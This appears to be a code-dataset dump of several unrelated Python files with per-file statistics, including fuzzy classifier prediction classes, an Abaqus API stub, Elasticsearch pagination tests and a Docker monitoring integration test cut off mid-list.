b0711fd9ce75520deb74cda75c148984a8e4152f
|
[
"MIT"
] | null | null | null |
from colosseum.mdps.deep_sea.continuous.mdp import DeepSeaContinuous
from colosseum.mdps.deep_sea.episodic.mdp import DeepSeaEpisodic
| 44.666667
| 68
| 0.880597
| 18
| 134
| 6.444444
| 0.611111
| 0.224138
| 0.293103
| 0.362069
| 0.413793
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.059701
| 134
| 2
| 69
| 67
| 0.920635
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
48ebcb8a8e33b51a96de027196bbcd751c37b8dc
| 9,900
|
py
|
Python
|
piecewise/fuzzy/prediction.py
|
jtbish/piecewise
|
d27e095e298698d83901bfd1236e0e0669261136
|
[
"MIT"
] | 3
|
2019-12-04T02:28:08.000Z
|
2022-02-02T13:13:36.000Z
|
piecewise/fuzzy/prediction.py
|
jtbish/piecewise
|
d27e095e298698d83901bfd1236e0e0669261136
|
[
"MIT"
] | 5
|
2020-01-15T04:33:36.000Z
|
2021-03-26T14:58:47.000Z
|
piecewise/fuzzy/prediction.py
|
jtbish/piecewise
|
d27e095e298698d83901bfd1236e0e0669261136
|
[
"MIT"
] | 1
|
2020-06-04T08:55:27.000Z
|
2020-06-04T08:55:27.000Z
|
import logging
import numpy as np
from piecewise.lcs.component.prediction import PredictionArray
from .rule_repr import MIN_MATCHING_DEGREE, MAX_MATCHING_DEGREE
class FuzzyMatchingFitnessWeightedAvgPrediction:
def __init__(self, env_action_set, rule_repr):
self._env_action_set = env_action_set
self._rule_repr = rule_repr
def __call__(self, match_set, situation):
"""GENERATE PREDICTION ARRAY function from 'An Algorithmic
Description of XCS' (Butz and Wilson, 2002).
Situation is optional as may or may not be needed depending on
whether classifiers have constant or computed predictions."""
self._warn_if_match_set_is_empty(match_set)
prediction_array, matching_degree_sum_array, fitness_sum_array = \
self._init_arrays()
self._populate_arrays(prediction_array, matching_degree_sum_array,
fitness_sum_array, match_set, situation)
self._normalise_prediction_array(prediction_array,
matching_degree_sum_array,
fitness_sum_array)
return prediction_array
def _warn_if_match_set_is_empty(self, match_set):
match_set_is_empty = match_set.num_micros == 0
if match_set_is_empty:
logging.warning("Match set is empty when performing "
"prediction.")
def _init_arrays(self):
prediction_array = PredictionArray(self._env_action_set)
matching_degree_sum_array = {
action: 0.0
for action in self._env_action_set
}
fitness_sum_array = {action: 0.0 for action in self._env_action_set}
return prediction_array, matching_degree_sum_array, fitness_sum_array
def _populate_arrays(self, prediction_array, matching_degree_sum_array,
fitness_sum_array, match_set, situation):
for classifier in match_set:
action = classifier.action
prediction = classifier.get_prediction(situation)
matching_degree = classifier.calc_matching_degree(self._rule_repr,
situation)
prediction_array[action] += \
prediction * matching_degree * classifier.fitness
matching_degree_sum_array[action] += matching_degree
fitness_sum_array[action] += classifier.fitness
def _normalise_prediction_array(self, prediction_array,
matching_degree_sum_array,
fitness_sum_array):
possible_actions = prediction_array.keys()
for action in possible_actions:
denominator = \
matching_degree_sum_array[action]*fitness_sum_array[action]
assert denominator != 0
prediction_array[action] /= denominator
class FuzzyMatchingWeightedAvgPrediction:
def __init__(self, env_action_set, rule_repr):
self._env_action_set = env_action_set
self._rule_repr = rule_repr
def __call__(self, match_set, situation):
self._warn_if_match_set_is_empty(match_set)
prediction_array, matching_degree_sum_array = \
self._init_arrays()
self._populate_arrays(prediction_array, matching_degree_sum_array,
match_set, situation)
self._normalise_prediction_array(prediction_array,
matching_degree_sum_array)
return prediction_array
def _warn_if_match_set_is_empty(self, match_set):
match_set_is_empty = match_set.num_micros == 0
if match_set_is_empty:
logging.warning("Match set is empty when performing "
"prediction.")
def _init_arrays(self):
prediction_array = PredictionArray(self._env_action_set)
matching_degree_sum_array = {
action: 0.0
for action in self._env_action_set
}
return prediction_array, matching_degree_sum_array
def _populate_arrays(self, prediction_array, matching_degree_sum_array,
match_set, situation):
for classifier in match_set:
action = classifier.action
prediction = classifier.get_prediction(situation)
matching_degree = classifier.calc_matching_degree(self._rule_repr,
situation)
prediction_array[action] += \
prediction * matching_degree
matching_degree_sum_array[action] += matching_degree
def _normalise_prediction_array(self, prediction_array, matching_degree_sum_array):
possible_actions = prediction_array.keys()
for action in possible_actions:
denominator = \
matching_degree_sum_array[action]
if denominator != 0:
prediction_array[action] /= denominator
class FuzzyMaxMatchingPrediction:
def __init__(self, env_action_set, rule_repr):
self._env_action_set = env_action_set
self._rule_repr = rule_repr
def __call__(self, match_set, situation):
self._warn_if_match_set_is_empty(match_set)
prediction_array = PredictionArray(self._env_action_set)
self._populate_pred_array(prediction_array, match_set, situation)
return prediction_array
def _warn_if_match_set_is_empty(self, match_set):
match_set_is_empty = match_set.num_micros == 0
if match_set_is_empty:
logging.warning("Match set is empty when performing "
"prediction.")
def _populate_pred_array(self, prediction_array, match_set, situation):
for classifier in match_set:
action = classifier.action
matching_degree = classifier.calc_matching_degree(self._rule_repr,
situation)
prediction_array[action] = max(prediction_array[action],
matching_degree)
# manually set any actions not represented in match set
for action in self._env_action_set:
if action not in prediction_array:
prediction_array[action] = MIN_MATCHING_DEGREE
class FuzzyAvgMatchingPrediction:
def __init__(self, env_action_set, rule_repr):
self._env_action_set = env_action_set
self._rule_repr = rule_repr
def __call__(self, match_set, situation):
self._warn_if_match_set_is_empty(match_set)
prediction_array = PredictionArray(self._env_action_set)
self._populate_pred_array(prediction_array, match_set, situation)
return prediction_array
def _warn_if_match_set_is_empty(self, match_set):
match_set_is_empty = match_set.num_micros == 0
if match_set_is_empty:
logging.warning("Match set is empty when performing "
"prediction.")
def _populate_pred_array(self, prediction_array, match_set, situation):
for action in self._env_action_set:
matching_sum = 0.0
num_advocates = 0
for classifier in match_set:
if classifier.action == action:
matching_sum += classifier.calc_matching_degree(
self._rule_repr, situation)
num_advocates += 1
if num_advocates != 0:
prediction_array[action] = matching_sum/num_advocates
else:
prediction_array[action] = MIN_MATCHING_DEGREE
class FuzzyMatchingProductPrediction:
def __init__(self, env_action_set, rule_repr):
self._env_action_set = env_action_set
self._rule_repr = rule_repr
def __call__(self, match_set, situation):
self._warn_if_match_set_is_empty(match_set)
prediction_array = PredictionArray(self._env_action_set)
self._populate_pred_array(prediction_array, match_set, situation)
return prediction_array
def _warn_if_match_set_is_empty(self, match_set):
match_set_is_empty = match_set.num_micros == 0
if match_set_is_empty:
logging.warning("Match set is empty when performing "
"prediction.")
def _populate_pred_array(self, prediction_array, match_set, situation):
for action in self._env_action_set:
matching_degrees = []
for classifier in match_set:
if classifier.action == action:
matching_degrees.append(classifier.calc_matching_degree(
self._rule_repr, situation))
if len(matching_degrees) != 0:
prediction_array[action] = np.prod(matching_degrees)
else:
prediction_array[action] = MIN_MATCHING_DEGREE
class FuzzyMatchingSumPrediction:
def __init__(self, env_action_set, rule_repr):
self._env_action_set = env_action_set
self._rule_repr = rule_repr
def __call__(self, match_set, situation):
self._warn_if_match_set_is_empty(match_set)
prediction_array = PredictionArray(self._env_action_set)
self._populate_pred_array(prediction_array, match_set, situation)
return prediction_array
def _warn_if_match_set_is_empty(self, match_set):
match_set_is_empty = match_set.num_micros == 0
if match_set_is_empty:
logging.warning("Match set is empty when performing "
"prediction.")
def _populate_pred_array(self, prediction_array, match_set, situation):
for action in self._env_action_set:
matching_sum = 0.0
for classifier in match_set:
if classifier.action == action:
matching_sum += classifier.calc_matching_degree(
self._rule_repr, situation)
prediction_array[action] = min(MAX_MATCHING_DEGREE, matching_sum)
| 42.48927
| 87
| 0.657677
| 1,129
| 9,900
| 5.284322
| 0.085031
| 0.097888
| 0.062353
| 0.075427
| 0.847972
| 0.847972
| 0.847972
| 0.805732
| 0.781763
| 0.778243
| 0
| 0.003667
| 0.283737
| 9,900
| 232
| 88
| 42.672414
| 0.837682
| 0.028081
| 0
| 0.759162
| 0
| 0
| 0.028774
| 0
| 0
| 0
| 0
| 0
| 0.005236
| 1
| 0.146597
| false
| 0
| 0.020942
| 0
| 0.240838
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
5b004b28a6803c91e1f3c15e80c013a39138a954
| 6,461
|
py
|
Python
|
src/abaqus/Interaction/ExpInitialization.py
|
Haiiliin/PyAbaqus
|
f20db6ebea19b73059fe875a53be370253381078
|
[
"MIT"
] | 7
|
2022-01-21T09:15:45.000Z
|
2022-02-15T09:31:58.000Z
|
src/abaqus/Interaction/ExpInitialization.py
|
Haiiliin/PyAbaqus
|
f20db6ebea19b73059fe875a53be370253381078
|
[
"MIT"
] | null | null | null |
src/abaqus/Interaction/ExpInitialization.py
|
Haiiliin/PyAbaqus
|
f20db6ebea19b73059fe875a53be370253381078
|
[
"MIT"
] | null | null | null |
from abaqusConstants import *
from .ContactInitialization import ContactInitialization
class ExpInitialization(ContactInitialization):
"""The ExpInitialization object is used in conjunction with ContactExp in Abaqus/Explicit
analyses to specify contact initialization data.
The ExpInitialization object is derived from the ContactInitialization object.
Notes
-----
This object can be accessed by:
.. code-block:: python
import interaction
mdb.models[name].contactInitializations[name]
The corresponding analysis keywords are:
- CONTACT INITIALIZATION DATA
"""
def __init__(self, name: str, overclosureType: SymbolicConstant = ADJUST,
interferenceDistance: float = None, clearanceDistance: float = None,
openingTolerance: float = None, overclosureTolerance: float = None,
adjustNodalCoords: Boolean = True, secondaryNodesetName: str = None,
stepFraction: float = 1):
"""This method creates an ExpInitialization object.
Notes
-----
This function can be accessed by:
.. code-block:: python
mdb.models[name].ExpInitialization
Parameters
----------
name
A String specifying the contact initialization repository key.
overclosureType
A SymbolicConstant specifying the type of overclosure to be defined. Possible values are
ADJUST, INTERFERENCE, and CLEARANCE. The default value is ADJUST.
interferenceDistance
None or a Float specifying the interference distance. This argument is valid only when
*overclosureType*=INTERFERENCE. The default value is None.
clearanceDistance
None or a Float specifying the initial clearance distance. This argument is valid only
when *overclosureType*=CLEARANCE and must be specified in that case. The default value
is None.
openingTolerance
None or a Float specifying the distance tolerance within which initial openings will
undergo strain-free adjustments. This argument is not valid when
*overclosureType*=INTERFERENCE unless a value has been specified for
*interferenceDistance*. The default value is None.
overclosureTolerance
None or a Float specifying the distance tolerance within which initial overclosures will
undergo strain-free adjustments. The default value is None.
adjustNodalCoords
A Boolean specifying whether to resolve clearances/overclosures by adjusting the nodal
coordinates without creating strain in the model. *adjustNodalCoords*=True can be used
only for clearances/overclosures defined in the first step of an analysis. The default
value is True.
secondaryNodesetName
A String specifying the name of the node set containing the secondary nodes to be
included in the initial clearance specification. This argument is not valid when
*overclosureType*=INTERFERENCE and if *openingTolerance* or *overclosureTolerance* is
specified. The default value is None.
stepFraction
A Float specifying the fraction of the step time (between 0.0 and 1.0) in which the
interference fit has to be solved. The default value is 1.0. This argument is valid only
when *overclosureType*=INTERFERENCE.
Returns
-------
An ExpInitialization object.
Raises
------
RangeError
"""
super().__init__()
pass
def setValues(self, overclosureType: SymbolicConstant = ADJUST, interferenceDistance: float = None,
clearanceDistance: float = None, openingTolerance: float = None,
overclosureTolerance: float = None, adjustNodalCoords: Boolean = True,
secondaryNodesetName: str = None, stepFraction: float = 1):
"""This method modifies the ExpInitialization object.
Parameters
----------
overclosureType
A SymbolicConstant specifying the type of overclosure to be defined. Possible values are
ADJUST, INTERFERENCE, and CLEARANCE. The default value is ADJUST.
interferenceDistance
None or a Float specifying the interference distance. This argument is valid only when
*overclosureType*=INTERFERENCE. The default value is None.
clearanceDistance
None or a Float specifying the initial clearance distance. This argument is valid only
when *overclosureType*=CLEARANCE and must be specified in that case. The default value
is None.
openingTolerance
None or a Float specifying the distance tolerance within which initial openings will
undergo strain-free adjustments. This argument is not valid when
*overclosureType*=INTERFERENCE unless a value has been specified for
*interferenceDistance*. The default value is None.
overclosureTolerance
None or a Float specifying the distance tolerance within which initial overclosures will
undergo strain-free adjustments. The default value is None.
adjustNodalCoords
A Boolean specifying whether to resolve clearances/overclosures by adjusting the nodal
coordinates without creating strain in the model. *adjustNodalCoords*=True can be used
only for clearances/overclosures defined in the first step of an analysis. The default
value is True.
secondaryNodesetName
A String specifying the name of the node set containing the secondary nodes to be
included in the initial clearance specification. This argument is not valid when
*overclosureType*=INTERFERENCE and if *openingTolerance* or *overclosureTolerance* is
specified. The default value is None.
stepFraction
A Float specifying the fraction of the step time (between 0.0 and 1.0) in which the
interference fit has to be solved. The default value is 1.0. This argument is valid only
when *overclosureType*=INTERFERENCE.
Raises
------
RangeError
"""
pass
| 48.216418
| 103
| 0.665686
| 687
| 6,461
| 6.248908
| 0.202329
| 0.03727
| 0.055905
| 0.063359
| 0.826928
| 0.826928
| 0.826928
| 0.812951
| 0.812951
| 0.812951
| 0
| 0.003056
| 0.290977
| 6,461
| 133
| 104
| 48.578947
| 0.934076
| 0.734561
| 0
| 0.133333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.133333
| false
| 0.133333
| 0.133333
| 0
| 0.333333
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 7
|
d28bb210af158948a35f838b3a268ad7122fc670
| 107
|
py
|
Python
|
at16k/api/__init__.py
|
epignatelli/at16k
|
d77800ae8f06d72bc083a215576d0b748c6e1612
|
[
"MIT"
] | 147
|
2019-12-03T23:04:01.000Z
|
2022-02-22T07:17:55.000Z
|
at16k/api/__init__.py
|
epignatelli/at16k
|
d77800ae8f06d72bc083a215576d0b748c6e1612
|
[
"MIT"
] | 12
|
2019-12-06T16:28:15.000Z
|
2020-12-21T10:23:29.000Z
|
at16k/api/__init__.py
|
epignatelli/at16k
|
d77800ae8f06d72bc083a215576d0b748c6e1612
|
[
"MIT"
] | 21
|
2019-12-05T07:31:41.000Z
|
2021-09-09T17:37:41.000Z
|
"""
Imports
"""
from .speech_to_text import SpeechToText
from .live_speech_to_text import LiveSpeechToText
| 17.833333
| 49
| 0.82243
| 14
| 107
| 5.928571
| 0.642857
| 0.192771
| 0.289157
| 0.433735
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.102804
| 107
| 5
| 50
| 21.4
| 0.864583
| 0.065421
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
d2eb3b67bb8adaf7a26cb8666c021bb1adc9b7c9
| 5,240
|
py
|
Python
|
cpdb/es_index/tests/test_pagination.py
|
invinst/CPDBv2_backend
|
b4e96d620ff7a437500f525f7e911651e4a18ef9
|
[
"Apache-2.0"
] | 25
|
2018-07-20T22:31:40.000Z
|
2021-07-15T16:58:41.000Z
|
cpdb/es_index/tests/test_pagination.py
|
invinst/CPDBv2_backend
|
b4e96d620ff7a437500f525f7e911651e4a18ef9
|
[
"Apache-2.0"
] | 13
|
2018-06-18T23:08:47.000Z
|
2022-02-10T07:38:25.000Z
|
cpdb/es_index/tests/test_pagination.py
|
invinst/CPDBv2_backend
|
b4e96d620ff7a437500f525f7e911651e4a18ef9
|
[
"Apache-2.0"
] | 6
|
2018-05-17T21:59:43.000Z
|
2020-11-17T00:30:26.000Z
|
from django.test import SimpleTestCase, TestCase
from mock import Mock
from robber import expect
from data.factories import AttachmentFileFactory, AllegationFactory
from data.models import AttachmentFile
from es_index.pagination import ESBasePagination, ESQueryPagination, ESQuerysetPagination
class ESBasePaginationTestCase(SimpleTestCase):
def test_get_response_raise_NotImplementedError(self):
response = Mock()
pagination = ESBasePagination()
expect(lambda: pagination.get_response(response)).to.throw(NotImplementedError)
class ESQueryPaginationTestCase(SimpleTestCase):
def test_paginate_es_query(self):
request = Mock()
request.query_params = {'limit': 20, 'offset': 30}
search_result = Mock()
search_result.hits = Mock()
search_result.hits.total = 50
search_result.__iter__ = Mock(return_value=iter([1, 2, 3]))
query = Mock()
query.__getitem__ = Mock(return_value=query)
query.execute.return_value = search_result
pagination = ESQueryPagination()
paginated_query = pagination.paginate_es_query(query, request)
query.__getitem__.assert_called_with(slice(30, 50))
expect(paginated_query).to.eq([1, 2, 3])
expect(pagination.count).to.eq(50)
expect(pagination.limit).to.eq(20)
expect(pagination.offset).to.eq(30)
expect(pagination.request).to.eq(request)
def test_pagination_es_query_no_data(self):
request = Mock()
request.query_params = {'limit': 20, 'offset': 30}
search_result = Mock()
search_result.hits = Mock()
search_result.hits.total = 0
search_result.__iter__ = Mock(return_value=iter([]))
query = Mock()
query.__getitem__ = Mock(return_value=query)
query.execute.return_value = search_result
pagination = ESQueryPagination()
paginated_query = pagination.paginate_es_query(query, request)
expect(paginated_query).to.eq([])
class ESQuerysetPaginationTestCase(TestCase):
def test_paginate_es_query(self):
allegation = AllegationFactory(crid=123456)
attachment_1 = AttachmentFileFactory(
id=1,
allegation=allegation,
title='Document Title 1',
text_content='Text Content 1'
)
attachment_2 = AttachmentFileFactory(
id=2,
allegation=allegation,
title='Document Title 2',
text_content='Text Content 2'
)
AttachmentFileFactory(
id=3,
allegation=allegation,
title='Document Title 3',
text_content='Text Content 3'
)
queryset = AttachmentFile.objects.all()
class MockObject(object):
pass
returned_value_1 = MockObject()
returned_value_2 = MockObject()
setattr(returned_value_1, 'id', 1)
setattr(returned_value_2, 'id', 2)
request = Mock()
request.query_params = {'limit': 20, 'offset': 30}
search_result = Mock()
search_result.hits = Mock()
search_result.hits.total = 50
search_result.__iter__ = Mock(return_value=iter([returned_value_1, returned_value_2]))
query = Mock()
query.__getitem__ = Mock(return_value=query)
query.execute.return_value = search_result
pagination = ESQuerysetPagination()
paginated_query = pagination.paginate_es_query(query, request, queryset)
expect(list(paginated_query)).to.eq([attachment_1, attachment_2])
expect(pagination.count).to.eq(50)
expect(pagination.limit).to.eq(20)
expect(pagination.offset).to.eq(30)
expect(pagination.request).to.eq(request)
def test_paginate_es_query_no_data(self):
allegation = AllegationFactory(crid=123456)
AttachmentFileFactory(
id=1,
allegation=allegation,
title='Document Title 1',
text_content='Text Content 1'
)
AttachmentFileFactory(
id=2,
allegation=allegation,
title='Document Title 2',
text_content='Text Content 2'
)
AttachmentFileFactory(
id=3,
allegation=allegation,
title='Document Title 3',
text_content='Text Content 3'
)
queryset = AttachmentFile.objects.all()
class MockObject(object):
pass
returned_value_1 = MockObject()
returned_value_2 = MockObject()
setattr(returned_value_1, 'id', 4)
setattr(returned_value_2, 'id', 5)
request = Mock()
request.query_params = {'limit': 20, 'offset': 30}
search_result = Mock()
search_result.hits = Mock()
search_result.hits.total = 50
search_result.__iter__ = Mock(return_value=iter([returned_value_1, returned_value_2]))
query = Mock()
query.__getitem__ = Mock(return_value=query)
query.execute.return_value = search_result
pagination = ESQuerysetPagination()
paginated_query = pagination.paginate_es_query(query, request, queryset)
expect(list(paginated_query)).to.eq([])
| 34.933333
| 94
| 0.641985
| 552
| 5,240
| 5.82971
| 0.152174
| 0.07458
| 0.039776
| 0.04972
| 0.80174
| 0.737725
| 0.722809
| 0.711933
| 0.711933
| 0.711933
| 0
| 0.024561
| 0.261832
| 5,240
| 149
| 95
| 35.167785
| 0.807394
| 0
| 0
| 0.722222
| 0
| 0
| 0.044275
| 0
| 0
| 0
| 0
| 0
| 0.007937
| 1
| 0.039683
| false
| 0.015873
| 0.047619
| 0
| 0.126984
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
826728f475a3ab70a346c3cf08efc4a1d9b3e623
| 33,875
|
py
|
Python
|
tests/checks/integration/test_docker_daemon.py
|
takus/dd-agent
|
3029873135f0f55c1bcdf3f825691aafca5abf97
|
[
"BSD-3-Clause"
] | 2
|
2018-01-31T03:50:55.000Z
|
2018-01-31T03:51:04.000Z
|
tests/checks/integration/test_docker_daemon.py
|
takus/dd-agent
|
3029873135f0f55c1bcdf3f825691aafca5abf97
|
[
"BSD-3-Clause"
] | null | null | null |
tests/checks/integration/test_docker_daemon.py
|
takus/dd-agent
|
3029873135f0f55c1bcdf3f825691aafca5abf97
|
[
"BSD-3-Clause"
] | null | null | null |
# stdlib
import logging
import mock
# project
from tests.checks.common import AgentCheckTest
from utils.dockerutil import DockerUtil
# 3rd party
from nose.plugins.attrib import attr
log = logging.getLogger('tests')
CONTAINERS_TO_RUN = [
"nginx:latest",
"redis:latest",
]
MOCK_CONFIG = {
"init_config": {},
"instances": [{
"url": "unix://var/run/docker.sock",
"collect_disk_stats": True,
}]
}
POD_NAME_LABEL = "io.kubernetes.pod.name"
def reset_docker_settings():
"""Populate docker settings with default, dummy settings"""
DockerUtil().set_docker_settings({}, {})
@attr(requires='docker_daemon')
class TestCheckDockerDaemon(AgentCheckTest):
CHECK_NAME = 'docker_daemon'
# Mock tests #
def mock_normal_get_info(self):
return {
'DriverStatus': [
['Data Space Used', '1 GB'],
['Data Space Available', '9 GB'],
['Data Space Total', '10 GB'],
['Metadata Space Used', '1 MB'],
['Metadata Space Available', '9 MB'],
['Metadata Space Total', '10 MB'],
]
}
def mock_get_info_no_used(self):
return {
'DriverStatus': [
['Data Space Available', '9 GB'],
['Data Space Total', '10 GB'],
['Metadata Space Available', '9 MB'],
['Metadata Space Total', '10 MB'],
]
}
def mock_get_info_no_data(self):
return {
'DriverStatus': [
['Metadata Space Available', '9 MB'],
['Metadata Space Total', '10 MB'],
['Metadata Space Used', '1 MB'],
]
}
def mock_get_info_invalid_values(self):
return {
'DriverStatus': [
['Metadata Space Available', '9 MB'],
['Metadata Space Total', '10 MB'],
['Metadata Space Used', '11 MB'],
]
}
def mock_get_info_all_zeros(self):
return {
'DriverStatus': [
['Data Space Available', '0 MB'],
['Data Space Total', '0 GB'],
['Data Space Used', '0 KB'],
]
}
@mock.patch('docker.Client.info')
def test_devicemapper_disk_metrics(self, mock_info):
mock_info.return_value = self.mock_normal_get_info()
self.run_check(MOCK_CONFIG, force_reload=True)
self.assertMetric('docker.data.free', value=9e9)
self.assertMetric('docker.data.used', value=1e9)
self.assertMetric('docker.data.total', value=10e9)
self.assertMetric('docker.data.percent', value=10.0)
self.assertMetric('docker.metadata.free', value=9e6)
self.assertMetric('docker.metadata.used', value=1e6)
self.assertMetric('docker.metadata.total', value=10e6)
self.assertMetric('docker.metadata.percent', value=10.0)
@mock.patch('docker.Client.info')
def test_devicemapper_no_used_info(self, mock_info):
"""Disk metrics collection should still work and `percent` can be calculated"""
mock_info.return_value = self.mock_get_info_no_used()
self.run_check(MOCK_CONFIG, force_reload=True)
self.assertMetric('docker.data.free', value=9e9)
self.assertMetric('docker.data.total', value=10e9)
self.assertMetric('docker.data.percent', value=10.0)
self.assertMetric('docker.metadata.free', value=9e6)
self.assertMetric('docker.metadata.total', value=10e6)
self.assertMetric('docker.metadata.percent', value=10.0)
@mock.patch('docker.Client.info')
def test_devicemapper_no_data_info(self, mock_info):
"""Disk metrics collection should still partially work for metadata"""
mock_info.return_value = self.mock_get_info_no_data()
self.run_check(MOCK_CONFIG, force_reload=True)
self.assertMetric('docker.metadata.free', value=9e6)
self.assertMetric('docker.metadata.total', value=10e6)
self.assertMetric('docker.metadata.percent', value=10.0)
@mock.patch('docker.Client.info')
def test_devicemapper_invalid_values(self, mock_info):
"""Invalid values are detected in _calc_percent_disk_stats and 'percent' use 'free'+'used' instead of 'total' """
mock_info.return_value = self.mock_get_info_invalid_values()
self.run_check(MOCK_CONFIG, force_reload=True)
self.assertMetric('docker.metadata.free', value=9e6)
self.assertMetric('docker.metadata.used', value=11e6)
self.assertMetric('docker.metadata.total', value=10e6)
self.assertMetric('docker.metadata.percent', value=55)
@mock.patch('docker.Client.info')
def test_devicemapper_all_zeros(self, mock_info):
"""Percentage should not be calculated, other metrics should be collected correctly"""
mock_info.return_value = self.mock_get_info_all_zeros()
self.run_check(MOCK_CONFIG, force_reload=True)
metric_names = [metric[0] for metric in self.metrics]
self.assertMetric('docker.data.free', value=0)
self.assertMetric('docker.data.used', value=0)
self.assertMetric('docker.data.total', value=0)
self.assertNotIn('docker.data.percent', metric_names)
# integration tests #
def setUp(self):
self.docker_client = DockerUtil().client
for c in CONTAINERS_TO_RUN:
images = [i["RepoTags"][0] for i in self.docker_client.images(c.split(":")[0]) if i["RepoTags"][0].startswith(c)]
if len(images) == 0:
for line in self.docker_client.pull(c, stream=True):
print line
self.containers = []
for c in CONTAINERS_TO_RUN:
name = "test-new-{0}".format(c.replace(":", "-"))
host_config = None
labels = None
if c == "nginx:latest":
host_config = {"Memory": 137438953472}
labels = {"label1": "nginx", "foo": "bar"}
cont = self.docker_client.create_container(
c, detach=True, name=name, host_config=host_config, labels=labels)
self.containers.append(cont)
for c in self.containers:
log.info("Starting container: {0}".format(c))
self.docker_client.start(c)
def tearDown(self):
for c in self.containers:
log.info("Stopping container: {0}".format(c))
self.docker_client.remove_container(c, force=True)
def test_basic_config_single(self):
expected_metrics = [
('docker.containers.running', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
('docker.containers.running', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.containers.stopped', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.containers.stopped', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
('docker.image.size', ['image_name:nginx', 'image_tag:latest']),
('docker.image.size', ['image_name:redis', 'image_tag:latest']),
('docker.image.virtual_size', ['image_name:nginx', 'image_tag:latest']),
('docker.image.virtual_size', ['image_name:redis', 'image_tag:latest']),
('docker.images.available', None),
('docker.images.intermediate', None),
('docker.mem.cache', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
('docker.mem.cache', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.mem.rss', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
('docker.mem.rss', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest'])
]
config = {
"init_config": {},
"instances": [{
"url": "unix://var/run/docker.sock",
"collect_image_size": True,
"collect_images_stats": True
},
],
}
DockerUtil().set_docker_settings(config['init_config'], config['instances'][0])
self.run_check(config, force_reload=True)
for mname, tags in expected_metrics:
self.assertMetric(mname, tags=tags, count=1, at_least=1)
def test_basic_config_twice(self):
expected_metrics = [
('docker.containers.running', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
('docker.containers.running', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.containers.stopped', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.containers.stopped', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
('docker.images.available', None),
('docker.images.intermediate', None),
('docker.cpu.system', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
('docker.cpu.system', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.cpu.user', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
('docker.cpu.user', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.io.read_bytes', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
('docker.io.read_bytes', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.io.write_bytes', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
('docker.io.write_bytes', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.mem.cache', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
('docker.mem.cache', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.mem.rss', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
('docker.mem.rss', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.net.bytes_rcvd', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
